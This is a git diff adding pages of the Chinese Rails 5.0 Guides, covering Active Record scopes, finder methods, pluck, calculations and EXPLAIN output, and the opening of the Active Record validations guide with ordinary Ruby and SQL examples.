有一点需要特别注意,default_scope 总是在所有 scopewhere 之前起作用。

+
+class User < ApplicationRecord
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+
+
+
+

在上面的代码中我们可以看到,在 scope 条件和 where 条件中都合并了 default_scope 条件。

14.5 删除所有作用域

在需要时,可以使用 unscoped 方法删除作用域。如果在模型中定义了默认作用域,但在某次查询中又不想应用默认作用域,这时就可以使用 unscoped 方法。

+
+Client.unscoped.load
+
+
+
+

unscoped 方法会删除所有作用域,仅在数据表上执行常规查询。

+
+Client.unscoped.all
+# SELECT "clients".* FROM "clients"
+
+Client.where(published: false).unscoped.all
+# SELECT "clients".* FROM "clients"
+
+
+
+

unscoped 方法也接受块作为参数。

+
+Client.unscoped {
+  Client.created_before(Time.zone.now)
+}
+
+
+
+

15 动态查找方法

Active Record 为数据表中的每个字段(也称为属性)都提供了查找方法(也就是动态查找方法)。例如,对于 Client 模型的 first_name 字段,Active Record 会自动生成 find_by_first_name 查找方法。对于 Client 模型的 locked 字段,Active Record 会自动生成 find_by_locked 查找方法。

在调用动态查找方法时可以在末尾加上感叹号(!),例如 Client.find_by_name!("Ryan"),这样如果动态查找方法没有返回任何记录,就会抛出 ActiveRecord::RecordNotFound 异常。

如果想同时查询 first_namelocked 字段,可以在动态查找方法中用 and 把这两个字段连起来,例如 Client.find_by_first_name_and_locked("Ryan", true)

16 enum

enum 宏把整数字段映射为一组可能的值。

+
+class Book < ApplicationRecord
+  enum availability: [:available, :unavailable]
+end
+
+
+
+

上面的代码会自动创建用于查询模型的对应作用域,同时会添加用于转换状态和查询当前状态的方法。

+
+# 下面的示例只查询可用的图书
+Book.available
+# 或
+Book.where(availability: :available)
+
+book = Book.new(availability: :available)
+book.available?   # => true
+book.unavailable! # => true
+book.available?   # => false
+
+
+
+

请访问 Rails API 文档,查看 enum 宏的完整文档。

17 理解方法链

Active Record 实现方法链的方式既简单又直接,有了方法链我们就可以同时使用多个 Active Record 方法。

当之前的方法调用返回 ActiveRecord::Relation 对象时,例如 allwherejoins 方法,我们就可以在语句中把方法连接起来。返回单个对象的方法(请参阅 检索单个对象)必须位于语句的末尾。

下面给出了一些例子。本文无法涵盖所有的可能性,这里给出的只是很少的一部分例子。在调用 Active Record 方法时,查询不会立即生成并发送到数据库,这些操作只有在实际需要数据时才会执行。下面的每个例子都会生成一次查询。

17.1 从多个数据表中检索过滤后的数据

+
+Person
+  .select('people.id, people.name, comments.text')
+  .joins(:comments)
+  .where('comments.created_at > ?', 1.week.ago)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT people.id, people.name, comments.text
+FROM people
+INNER JOIN comments
+  ON comments.person_id = people.id
+WHERE comments.created_at = '2015-01-01'
+
+
+
+

17.2 从多个数据表中检索特定的数据

+
+Person
+  .select('people.id, people.name, companies.name')
+  .joins(:company)
+  .find_by('people.name' => 'John') # this should be the last
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT people.id, people.name, companies.name
+FROM people
+INNER JOIN companies
+  ON companies.person_id = people.id
+WHERE people.name = 'John'
+LIMIT 1
+
+
+
+

请注意,如果查询匹配多条记录,find_by 方法会取回第一条记录并忽略其他记录(如上面的 SQL 语句中的 LIMIT 1)。

18 查找或创建新对象

我们经常需要查找记录并在找不到记录时创建记录,这时我们可以使用 find_or_create_byfind_or_create_by! 方法。

18.1 find_or_create_by 方法

find_or_create_by 方法检查具有指定属性的记录是否存在。如果记录不存在,就调用 create 方法创建记录。让我们看一个例子。

假设我们在查找名为“Andy”的用户记录,但是没找到,因此要创建这条记录。这时我们可以执行下面的代码:

+
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+
+
+
+

find_or_create_by 方法会返回已存在的记录或新建的记录。在本例中,名为“Andy”的客户记录并不存在,因此会创建并返回这条记录。

新建记录不一定会保存到数据库,是否保存取决于验证是否通过(就像 create 方法那样)。

假设我们想在新建记录时把 locked 字段设置为 false,但又不想在查询中进行设置。例如,我们想查找名为“Andy”的客户记录,但这条记录并不存在,因此要创建这条记录并把 locked 字段设置为 false

要完成这一操作有两种方式。第一种方式是使用 create_with 方法:

+
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+
+
+
+

第二种方式是使用块:

+
+Client.find_or_create_by(first_name: 'Andy') do |c|
+  c.locked = false
+end
+
+
+
+

只有在创建客户记录时才会执行该块。第二次运行这段代码时(此时客户记录已创建),块会被忽略。

18.2 find_or_create_by! 方法

我们也可以使用 find_or_create_by! 方法,这样如果新建记录是无效的就会抛出异常。本文不涉及数据验证,不过这里我们暂且假设已经在 Client 模型中添加了下面的数据验证:

+
+validates :orders_count, presence: true
+
+
+
+

如果我们尝试新建客户记录,但忘了传递 orders_count 字段的值,新建记录就是无效的,因而会抛出下面的异常:

+
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+
+
+
+

18.3 find_or_initialize_by 方法

find_or_initialize_by 方法的工作原理和 find_or_create_by 方法类似,区别之处在于前者调用的是 new 方法而不是 create 方法。这意味着新建模型实例在内存中创建,但没有保存到数据库。下面继续使用介绍 find_or_create_by 方法时使用的例子,我们现在想查找名为“Nick”的客户记录:

+
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+
+
+
+

出现上面的执行结果是因为 nick 对象还没有保存到数据库。在上面的代码中,find_or_initialize_by 方法会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+
+
+
+

要想把 nick 对象保存到数据库,只需调用 save 方法:

+
+nick.save
+# => true
+
+
+
+

19 使用 SQL 语句进行查找

要想直接使用 SQL 语句在数据表中查找记录,可以使用 find_by_sql 方法。find_by_sql 方法总是返回对象的数组,即使底层查询只返回了一条记录也是如此。例如,我们可以执行下面的查询:

+
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER BY clients.created_at desc")
+# =>  [
+#   #<Client id: 1, first_name: "Lucas" >,
+#   #<Client id: 2, first_name: "Jan" >,
+#   ...
+# ]
+
+
+
+

find_by_sql 方法提供了对数据库进行定制查询并取回实例化对象的简单方式。

19.1 select_all 方法

find_by_sql 方法有一个名为 connection#select_all 的近亲。和 find_by_sql 方法一样,select_all 方法也会使用定制的 SQL 语句从数据库中检索对象,区别在于 select_all 方法不会对这些对象进行实例化,而是返回一个散列构成的数组,其中每个散列表示一条记录。

+
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+# => [
+#   {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
+#   {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
+# ]
+
+
+
+

19.2 pluck 方法

pluck 方法用于在模型对应的底层数据表中查询单个或多个字段。它接受字段名的列表作为参数,并返回这些字段的值的数组,数组中的每个值都具有对应的数据类型。

+
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+
+
+

使用 pluck 方法,我们可以把下面的代码:

+
+Client.select(:id).map { |c| c.id }
+# 或
+Client.select(:id).map(&:id)
+# 或
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+
+
+
+

替换为:

+
+Client.pluck(:id)
+# 或
+Client.pluck(:id, :name)
+
+
+
+

select 方法不同,pluck 方法把数据库查询结果直接转换为 Ruby 数组,而不是构建 Active Record 对象。这意味着对于大型查询或常用查询,pluck 方法的性能更好。不过对于 pluck 方法,模型方法重载是不可用的。例如:

+
+class Client < ApplicationRecord
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+
+
+
+

此外,和 select 方法及其他 Relation 作用域不同,pluck 方法会触发即时查询,因此在 pluck 方法之前可以链接作用域,但在 pluck 方法之后不能链接作用域:

+
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+
+
+
+

19.3 ids 方法

使用 ids 方法可以获得关联的所有 ID,也就是数据表的主键。

+
+Person.ids
+# SELECT id FROM people
+
+
+
+
+
+class Person < ApplicationRecord
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+
+
+
+

20 检查对象是否存在

要想检查对象是否存在,可以使用 exists? 方法。exists? 方法查询数据库的工作原理和 find 方法相同,但是 find 方法返回的是对象或对象集合,而 exists? 方法返回的是 truefalse

+
+Client.exists?(1)
+
+
+
+

exists? 方法也接受多个值作为参数,并且只要有一条对应记录存在就会返回 true

+
+Client.exists?(id: [1,2,3])
+# 或
+Client.exists?(name: ['John', 'Sergei'])
+
+
+
+

我们还可以在模型或关联上调用 exists? 方法,这时不需要任何参数。

+
+Client.where(first_name: 'Ryan').exists?
+
+
+
+

只要存在一条名为“Ryan”的客户记录,上面的代码就会返回 true,否则返回 false

+
+Client.exists?
+
+
+
+

如果 clients 数据表是空的,上面的代码返回 false,否则返回 true

我们还可以在模型或关联上调用 any?many? 方法来检查对象是否存在。

+
+# 通过模型
+Article.any?
+Article.many?
+
+# 通过指定的作用域
+Article.recent.any?
+Article.recent.many?
+
+# 通过关系
+Article.where(published: true).any?
+Article.where(published: true).many?
+
+# 通过关联
+Article.first.categories.any?
+Article.first.categories.many?
+
+
+
+

21 计算

在本节的前言中我们以 count 方法为例,例子中提到的所有选项对本节的各小节都适用。

所有用于计算的方法都可以直接在模型上调用:

+
+Client.count
+# SELECT count(*) AS count_all FROM clients
+
+
+
+

或者在关联上调用:

+
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+
+
+
+

我们还可以在关联上执行各种查找方法来执行复杂的计算:

+
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+
+
+
+

21.1 count 方法

要想知道模型对应的数据表中有多少条记录,可以使用 Client.count 方法,这个方法的返回值就是记录条数。如果想要知道特定记录的条数,例如具有 age 字段值的所有客户记录的条数,可以使用 Client.count(:age)

关于 count 方法的选项的更多介绍,请参阅 计算

21.2 average 方法

要想知道数据表中某个字段的平均值,可以在数据表对应的类上调用 average 方法。例如:

+
+Client.average("orders_count")
+
+
+
+

上面的代码会返回表示 orders_count 字段平均值的数字(可能是浮点数,如 3.14159265)。

关于 average 方法的选项的更多介绍,请参阅 计算

21.3 minimum 方法

要想查找数据表中某个字段的最小值,可以在数据表对应的类上调用 minimum 方法。例如:

+
+Client.minimum("age")
+
+
+
+

关于 minimum 方法的选项的更多介绍,请参阅 计算

21.4 maximum 方法

要想查找数据表中某个字段的最大值,可以在数据表对应的类上调用 maximum 方法。例如:

+
+Client.maximum("age")
+
+
+
+

关于 maximum 方法的选项的更多介绍,请参阅 计算

21.5 sum 方法

要想知道数据表中某个字段的所有字段值之和,可以在数据表对应的类上调用 sum 方法。例如:

+
+Client.sum("orders_count")
+
+
+
+

关于 sum 方法的选项的更多介绍,请参阅 计算

22 执行 EXPLAIN 命令

我们可以在关联触发的查询上执行 EXPLAIN 命令。例如:

+
+User.where(id: 1).joins(:articles).explain
+
+
+
+

对于 MySQL 和 MariaDB 数据库后端,上面的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+----------+-------+---------------+
+| id | select_type | table    | type  | possible_keys |
++----+-------------+----------+-------+---------------+
+|  1 | SIMPLE      | users    | const | PRIMARY       |
+|  1 | SIMPLE      | articles | ALL   | NULL          |
++----+-------------+----------+-------+---------------+
++---------+---------+-------+------+-------------+
+| key     | key_len | ref   | rows | Extra       |
++---------+---------+-------+------+-------------+
+| PRIMARY | 4       | const |    1 |             |
+| NULL    | NULL    | NULL  |    1 | Using where |
++---------+---------+-------+------+-------------+
+
+2 rows in set (0.00 sec)
+
+
+
+

Active Record 会模拟对应数据库的 shell 来打印输出结果。因此对于 PostgreSQL 数据库后端,同样的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (articles.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (articles.user_id = 1)
+(6 rows)
+
+
+
+

及早加载在底层可能会触发多次查询,有的查询可能需要使用之前查询的结果。因此,explain 方法实际上先执行了查询,然后询问查询计划。例如:

+
+User.where(id: 1).includes(:articles).explain
+
+
+
+

对于 MySQL 和 MariaDB 数据库后端,上面的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+
+| id | select_type | table | type  | possible_keys |
++----+-------------+-------+-------+---------------+
+|  1 | SIMPLE      | users | const | PRIMARY       |
++----+-------------+-------+-------+---------------+
++---------+---------+-------+------+-------+
+| key     | key_len | ref   | rows | Extra |
++---------+---------+-------+------+-------+
+| PRIMARY | 4       | const |    1 |       |
++---------+---------+-------+------+-------+
+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
++----+-------------+----------+------+---------------+
+| id | select_type | table    | type | possible_keys |
++----+-------------+----------+------+---------------+
+|  1 | SIMPLE      | articles | ALL  | NULL          |
++----+-------------+----------+------+---------------+
++------+---------+------+------+-------------+
+| key  | key_len | ref  | rows | Extra       |
++------+---------+------+------+-------------+
+| NULL | NULL    | NULL |    1 | Using where |
++------+---------+------+------+-------------+
+
+
+1 row in set (0.00 sec)
+
+
+
+

22.1 对 EXPLAIN 命令输出结果的解释

EXPLAIN 命令输出结果的解释超出了本文的范畴。下面提供了一些有用链接:

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_validations.html b/v5.0/active_record_validations.html new file mode 100644 index 0000000..9f81f36 --- /dev/null +++ b/v5.0/active_record_validations.html @@ -0,0 +1,1161 @@ + + + + + + + +Active Record 数据验证 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 数据验证

本文介绍如何使用 Active Record 提供的数据验证功能,在数据存入数据库之前验证对象的状态。

读完本文后,您将学到:

+
    +
  • 如何使用 Active Record 内置的数据验证辅助方法;

  • +
  • 如果自定义数据验证方法;

  • +
  • 如何处理验证过程产生的错误消息。

  • +
+ + + + +
+
+ +
+
+
+

1 数据验证概览

下面是一个非常简单的数据验证:

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

可以看出,如果 Person 没有 name 属性,验证就会将其视为无效对象。第二个 Person 对象不会存入数据库。

在深入探讨之前,我们先来了解数据验证在应用中的作用。

1.1 为什么要做数据验证?

数据验证确保只有有效的数据才能存入数据库。例如,应用可能需要用户提供一个有效的电子邮件地址和邮寄地址。在模型中做验证是最有保障的,只有通过验证的数据才能存入数据库。数据验证和使用的数据库种类无关,终端用户也无法跳过,而且容易测试和维护。在 Rails 中做数据验证很简单,Rails 内置了很多辅助方法,能满足常规的需求,而且还可以编写自定义的验证方法。

在数据存入数据库之前,也有几种验证数据的方法,包括数据库原生的约束、客户端验证和控制器层验证。下面列出这几种验证方法的优缺点:

+
    +
  • 数据库约束和存储过程无法兼容多种数据库,而且难以测试和维护。然而,如果其他应用也要使用这个数据库,最好在数据库层做些约束。此外,数据库层的某些验证(例如在使用量很高的表中做唯一性验证)通过其他方式实现起来有点困难。

  • +
  • 客户端验证很有用,但单独使用时可靠性不高。如果使用 JavaScript 实现,用户在浏览器中禁用 JavaScript 后很容易跳过验证。然而,客户端验证和其他验证方式相结合,可以为用户提供实时反馈。

  • +
  • 控制器层验证很诱人,但一般都不灵便,难以测试和维护。只要可能,就要保证控制器的代码简洁,这样才有利于长远发展。

  • +
+

你可以根据实际需求选择使用合适的验证方式。Rails 团队认为,模型层数据验证最具普适性。

1.2 数据在何时验证?

Active Record 对象分为两种:一种在数据库中有对应的记录,一种没有。新建的对象(例如,使用 new 方法)还不属于数据库。在对象上调用 save 方法后,才会把对象存入相应的数据库表。Active Record 使用实例方法 new_record? 判断对象是否已经存入数据库。假如有下面这个简单的 Active Record 类:

+
+class Person < ApplicationRecord
+end
+
+
+
+

我们可以在 rails console 中看一下到底怎么回事:

+
+$ bin/rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+
+
+
+

新建并保存记录会在数据库中执行 SQL INSERT 操作。更新现有的记录会在数据库中执行 SQL UPDATE 操作。一般情况下,数据验证发生在这些 SQL 操作执行之前。如果验证失败,对象会被标记为无效,Active Record 不会向数据库发送 INSERTUPDATE 指令。这样就可以避免把无效的数据存入数据库。你可以选择在对象创建、保存或更新时执行特定的数据验证。

修改数据库中对象的状态有多种方式。有些方法会触发数据验证,有些则不会。所以,如果不小心处理,还是有可能把无效的数据存入数据库。

下列方法会触发数据验证,如果验证失败就不把对象存入数据库:

+
    +
  • create

  • +
  • create!

  • +
  • save

  • +
  • save!

  • +
  • update

  • +
  • update!

  • +
+

爆炸方法(例如 save!)会在验证失败后抛出异常。验证失败后,非爆炸方法不会抛出异常,saveupdate 返回 falsecreate 返回对象本身。

1.3 跳过验证

下列方法会跳过验证,不管验证是否通过都会把对象存入数据库,使用时要特别留意。

+
    +
  • decrement!

  • +
  • decrement_counter

  • +
  • increment!

  • +
  • increment_counter

  • +
  • toggle!

  • +
  • touch

  • +
  • update_all

  • +
  • update_attribute

  • +
  • update_column

  • +
  • update_columns

  • +
  • update_counters

  • +
+

注意,使用 save 时如果传入 validate: false 参数,也会跳过验证。使用时要特别留意。

+
    +
  • save(validate: false)
  • +
+

1.4 valid?invalid? +

Rails 在保存 Active Record 对象之前验证数据。如果验证过程产生错误,Rails 不会保存对象。

你还可以自己执行数据验证。valid? 方法会触发数据验证,如果对象上没有错误,返回 true,否则返回 false。前面我们已经用过了:

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

Active Record 执行验证后,所有发现的错误都可以通过实例方法 errors.messages 获取。该方法返回一个错误集合。如果数据验证后,这个集合为空,说明对象是有效的。

注意,使用 new 方法初始化对象时,即使无效也不会报错,因为只有保存对象时才会验证数据,例如调用 createsave 方法。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> p = Person.new
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
+
+>> p.valid?
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p = Person.create
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p.save
+# => false
+
+>> p.save!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

invalid? 的作用与 valid? 相反,它会触发数据验证,如果找到错误就返回 true,否则返回 false

1.5 errors[] +

若想检查对象的某个属性是否有效,可以使用 errors[:attribute]errors[:attribute] 中包含与 :attribute 有关的所有错误。如果某个属性没有错误,就会返回空数组。

这个方法只在数据验证之后才能使用,因为它只是用来收集错误信息的,并不会触发验证。与前面介绍的 ActiveRecord::Base#invalid? 方法不一样,errors[:attribute] 不会验证整个对象,只检查对象的某个属性是否有错。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+
+
+
+

我们会在处理验证错误详细说明验证错误。

1.6 errors.details +

若想查看是哪个验证导致属性无效的,可以使用 errors.details[:attribute]。它的返回值是一个由散列组成的数组,:error 键的值是一个符号,指明出错的数据验证。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> person = Person.new
+>> person.valid?
+>> person.errors.details[:name] # => [{error: :blank}]
+
+
+
+

处理验证错误会说明如何在自定义的数据验证中使用 details

2 数据验证辅助方法

Active Record 预先定义了很多数据验证辅助方法,可以直接在模型类定义中使用。这些辅助方法提供了常用的验证规则。每次验证失败后,都会向对象的 errors 集合中添加一个消息,而且这些消息与所验证的属性是关联的。

每个辅助方法都可以接受任意个属性名,所以一行代码就能在多个属性上做同一种验证。

所有辅助方法都可指定 :on:message 选项,分别指定何时做验证,以及验证失败后向 errors 集合添加什么消息。:on 选项的可选值是 :create:update。每个辅助函数都有默认的错误消息,如果没有通过 :message 选项指定,则使用默认值。下面分别介绍各个辅助方法。

2.1 acceptance +

这个方法检查表单提交时,用户界面中的复选框是否被选中。这个功能一般用来要求用户接受应用的服务条款、确保用户阅读了一些文本,等等。

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: true
+end
+
+
+
+

仅当 terms_of_service 不为 nil 时才会执行这个检查。这个辅助方法的默认错误消息是“must be accepted”。通过 message 选项可以传入自定义的消息。

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: true, message: 'must be abided'
+end
+
+
+
+

这个辅助方法还接受 :accept 选项,指定把哪些值视作“接受”。默认为 ['1', true],不过可以轻易修改:

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: { accept: 'yes' }
+  validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
+end
+
+
+
+

这种验证只针对 Web 应用,接受与否无需存入数据库。如果没有对应的字段,该方法会创建一个虚拟属性。如果数据库中有对应的字段,必须把 accept 选项的值设为或包含 true,否则验证不会执行。

2.2 validates_associated +

如果模型和其他模型有关联,而且关联的模型也要验证,要使用这个辅助方法。保存对象时,会在相关联的每个对象上调用 valid? 方法。

+
+class Library < ApplicationRecord
+  has_many :books
+  validates_associated :books
+end
+
+
+
+

这种验证支持所有关联类型。

不要在关联的两端都使用 validates_associated,这样会变成无限循环。

validates_associated 的默认错误消息是“is invalid”。注意,相关联的每个对象都有各自的 errors 集合,错误消息不会都集中在调用该方法的模型对象上。

2.3 confirmation +

如果要检查两个文本字段的值是否完全相同,使用这个辅助方法。例如,确认电子邮件地址或密码。这个验证创建一个虚拟属性,其名字为要验证的属性名后加 _confirmation

+
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+end
+
+
+
+

在视图模板中可以这么写:

+
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+
+
+
+

只有 email_confirmation 的值不是 nil 时才会检查。所以要为确认属性加上存在性验证(后文会介绍 presence 验证)。

+
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true
+end
+
+
+
+

此外,还可以使用 :case_sensitive 选项指定确认时是否区分大小写。这个选项的默认值是 true

+
+class Person < ApplicationRecord
+  validates :email, confirmation: { case_sensitive: false }
+end
+
+
+
+

这个辅助方法的默认错误消息是“doesn’t match confirmation”。

2.4 exclusion +

这个辅助方法检查属性的值是否不在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Account < ApplicationRecord
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+
+
+
+

exclusion 方法要指定 :in 选项,设置哪些值不能作为属性的值。:in 选项有个别名 :with,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。

默认的错误消息是“is reserved”。

2.5 format +

这个辅助方法检查属性的值是否匹配 :with 选项指定的正则表达式。

+
+class Product < ApplicationRecord
+  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+    message: "only allows letters" }
+end
+
+
+
+

或者,使用 :without 选项,指定属性的值不能匹配正则表达式。

默认的错误消息是“is invalid”。

2.6 inclusion +

这个辅助方法检查属性的值是否在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }
+end
+
+
+
+

inclusion 方法要指定 :in 选项,设置可接受哪些值。:in 选项有个别名 :within,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。

该方法的默认错误消息是“is not included in the list”。

2.7 length +

这个辅助方法验证属性值的长度,有多个选项,可以使用不同的方法指定长度约束:

+
+class Person < ApplicationRecord
+  validates :name, length: { minimum: 2 }
+  validates :bio, length: { maximum: 500 }
+  validates :password, length: { in: 6..20 }
+  validates :registration_number, length: { is: 6 }
+end
+
+
+
+

可用的长度约束选项有:

+
    +
  • :minimum:属性的值不能比指定的长度短;

  • +
  • :maximum:属性的值不能比指定的长度长;

  • +
  • :in(或 :within):属性值的长度在指定的范围内。该选项的值必须是一个范围;

  • +
  • :is:属性值的长度必须等于指定值;

  • +
+

默认的错误消息根据长度验证的约束类型而有所不同,不过可以使用 :message 选项定制。定制消息时,可以使用 :wrong_length:too_long:too_short 选项,%{count} 表示长度限制的值。

+
+class Person < ApplicationRecord
+  validates :bio, length: { maximum: 1000,
+    too_long: "%{count} characters is the maximum allowed" }
+end
+
+
+
+

这个辅助方法默认统计字符数,但可以使用 :tokenizer 选项设置其他的统计方式:

注意,默认的错误消息使用复数形式(例如,“is too short (minimum is %{count} characters”),所以如果长度限制是 minimum: 1,就要提供一个定制的消息,或者使用 presence: true 代替。:in:within 的下限值比 1 小时,要提供一个定制的消息,或者在 length 之前调用 presence 方法。

2.8 numericality +

这个辅助方法检查属性的值是否只包含数字。默认情况下,匹配的值是可选的正负符号后加整数或浮点数。如果只接受整数,把 :only_integer 选项设为 true

如果把 :only_integer 的值设为 true,使用下面的正则表达式验证属性的值:

+
+/\A[+-]?\d+\z/
+
+
+
+

否则,会尝试使用 Float 把值转换成数字。

注意,上面的正则表达式允许最后出现换行符。

+
+class Player < ApplicationRecord
+  validates :points, numericality: true
+  validates :games_played, numericality: { only_integer: true }
+end
+
+
+
+

除了 :only_integer 之外,这个方法还可指定以下选项,限制可接受的值:

+
    +
  • :greater_than:属性值必须比指定的值大。该选项默认的错误消息是“must be greater than %{count}”;

  • +
  • :greater_than_or_equal_to:属性值必须大于或等于指定的值。该选项默认的错误消息是“must be greater than or equal to %{count}”;

  • +
  • :equal_to:属性值必须等于指定的值。该选项默认的错误消息是“must be equal to %{count}”;

  • +
  • :less_than:属性值必须比指定的值小。该选项默认的错误消息是“must be less than %{count}”;

  • +
  • :less_than_or_equal_to:属性值必须小于或等于指定的值。该选项默认的错误消息是“must be less than or equal to %{count}”;

  • +
  • :other_than:属性值必须与指定的值不同。该选项默认的错误消息是“must be other than %{count}”。

  • +
  • :odd:如果设为 true,属性值必须是奇数。该选项默认的错误消息是“must be odd”;

  • +
  • :even:如果设为 true,属性值必须是偶数。该选项默认的错误消息是“must be even”;

  • +
+

numericality 默认不接受 nil 值。可以使用 allow_nil: true 选项允许接受 nil

默认的错误消息是“is not a number”。

2.9 presence +

这个辅助方法检查指定的属性是否为非空值。它调用 blank? 方法检查值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ApplicationRecord
+  validates :name, :login, :email, presence: true
+end
+
+
+
+

如果要确保关联对象存在,需要测试关联的对象本身是否存在,而不是用来映射关联的外键。

+
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, presence: true
+end
+
+
+
+

